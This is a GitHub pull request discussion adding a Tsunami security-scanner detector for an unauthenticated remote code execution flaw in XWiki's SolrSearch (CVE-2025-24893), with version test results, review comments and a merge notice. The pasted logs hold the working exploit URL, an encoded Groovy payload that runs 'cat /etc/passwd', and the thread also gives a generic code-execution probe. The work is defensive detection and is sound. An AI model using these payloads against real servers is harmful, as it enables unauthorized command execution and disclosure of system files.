Skip to content

Conversation

@a3vX
Copy link
Contributor

@a3vX a3vX commented Aug 16, 2025

Dear Tsunami Team,

Please find the PR related to #666.

Testbeds are available here: google/security-testbeds#159

The plugin has been tested for the following versions:

XWIKI_VERSION JAVA_VERSION Plugin Result
17.4.3 17 -
16.4.1 17 -
16.4.0 17 VULNERABLE
15.10.11 17 -
15.10.11 11 -
15.10.10 17 VULNERABLE
15.10.10 11 VULNERABLE
14.10.21 11 VULNERABLE
13.10.11 11 VULNERABLE
12.10.11 11 VULNERABLE
11.10.13 11 VULNERABLE
11.6 8 VULNERABLE
11.5 8 -
10.11.11 8 -

As shown in the table above, the payload works for XWiki > 11.6 (published in 2019), which is the version introducing the {{async}} macro used in the payload.

Additionally, the plugin's payload will only detect this RCE if the remote operating system is Linux.
For reference, the following generic payload can be used to minimize false negatives:

    # Generic payload
    { name: "payload" value: "%27ProofCodeExecution%27%2B%2816%2B26%29" },
    { name: "expectedRegex" value: "ProofCodeExecution42" }

Copy link
Collaborator

@leonardo-doyensec leonardo-doyensec left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hello @a3vX.
Thank you for your contribution. You can find an issue to address down below. Moreover i have noticed that when the plugin is running it produces really verbose logs. Are you able to limit this?

Feel free to reach out
~ Leonardo (Doyensec)

@a3vX
Copy link
Contributor Author

a3vX commented Aug 22, 2025

Dear @leonardo-doyensec,

Thanks for your message.

I added a new commit following your comment.
This new check on the body content ensures the presence of the XWiki version banner.
In the first place, I thought that a redirect to /bin/view/Main/ would be specific enough to detect XWiki. That's why I preferred not adding this second condition in order to avoid the issue to be undetected if someone manually deleted the version banner, and thus limit false negatives.

I've checked the new plugin version against the following versions.
The plugin still works as expected after the changes.

XWIKI_VERSION xwiki_fingerprinting xwiki_exploit
17.4.3 Ok Nok
15.10.11 Ok Nok
15.10.10 Ok Ok
11.6 Ok Ok

About the log verbosity, I also see some INFO log entries, one for each HTTP request sent and response received. However, I don't see how I could change this behavior in the plugin textproto file. From what I understand, the debug parameter in the config section is not enabled by default.
Do you have any recommendation or idea on how to change this?

For reference, here are my logs when running the plugin on XWiki 11.6 vulnerable instance:

INFO: Starting detector: XWiki_CVE_2025_24893
Aug 22, 2025 1:14:37 PM com.google.tsunami.plugin.RemoteVulnDetectorImpl detect
INFO: Detecting with language server plugins...
Aug 22, 2025 1:14:37 PM com.google.tsunami.common.net.http.OkHttpHttpClient send
INFO: Sending HTTP 'GET' request to 'http://180.149.199.132:8080/'.
Aug 22, 2025 1:14:38 PM com.google.tsunami.common.net.http.OkHttpHttpClient parseResponse
INFO: Received HTTP response with code '200' for request to 'http://180.149.199.132:8080/xwiki/bin/view/Main/'.
Aug 22, 2025 1:14:38 PM com.google.tsunami.common.net.http.OkHttpHttpClient send
INFO: Sending HTTP 'GET' request to 'http://180.149.199.132:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat+/etc/passwd%27.execute().text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D'.
Aug 22, 2025 1:14:42 PM com.google.tsunami.common.net.http.OkHttpHttpClient parseResponse
INFO: Received HTTP response with code '200' for request to 'http://180.149.199.132:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat+/etc/passwd%27.execute().text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D'.
Aug 22, 2025 1:14:42 PM com.google.tsunami.plugins.detectors.templateddetector.TemplatedDetector lambda$useWorkflow$1
INFO: Vulnerability found on port 8080 with plugin 'XWiki_CVE_2025_24893'
Aug 22, 2025 1:14:42 PM com.google.tsunami.plugin.PluginExecutorImpl buildSucceededResult
INFO: XWiki_CVE_2025_24893 plugin execution finished in 5374 (ms)

Feel free to ask if any other change is needed.

~a3vX

@a3vX
Copy link
Contributor Author

a3vX commented Sep 19, 2025

Dear @tooryx and @leonardo-doyensec ,

Do you need anything else from my end to review this pull request?

Thanks by advance!

--a3vX

@tooryx
Copy link
Member

tooryx commented Sep 19, 2025

Hi @a3vX,

Nothing is needed on your side for now.
We are going through the backlog, oldest first, so it might take a bit of time before we get to this PR. Please bear with us.

Thank you,
~tooryx

@leonardo-doyensec
Copy link
Collaborator

LGTM
@tooryx we can merge this as well as google/security-testbeds#159

Reviewer: Leonardo, Doyensec
Plugin: XWiki CVE-2025-24893
Drawbacks: None.

copybara-service bot pushed a commit that referenced this pull request Nov 13, 2025
--
ce72d5a by a3vX <[email protected]>:

Add: new plugin XWiki_CVE_2025_24893

--
cb01fc5 by a3vX <[email protected]>:

Edit plugin XWiki_CVE_2025_24893: fingerprinting action

--
60ca5d3 by tooryx <[email protected]>:

Remove trailing spaces
--
23a1c92 by tooryx <[email protected]>:

Replace tabs with spaces

COPYBARA_INTEGRATE_REVIEW=#689 from a3vX:XWiki_CVE_2025_24893 23a1c92
PiperOrigin-RevId: 831761966
Change-Id: Ic1b9bb32ce46790e329533fd27168182bc5ec5f8
@tooryx
Copy link
Member

tooryx commented Nov 13, 2025

Change merged. You should receive information about the reward in a few days.

Thank you,
~tooryx

@tooryx tooryx closed this Nov 13, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

PRP: XWiki CVE‑2025‑24893 Unauthenticated Remote Code Execution (SolrSearch)

4 participants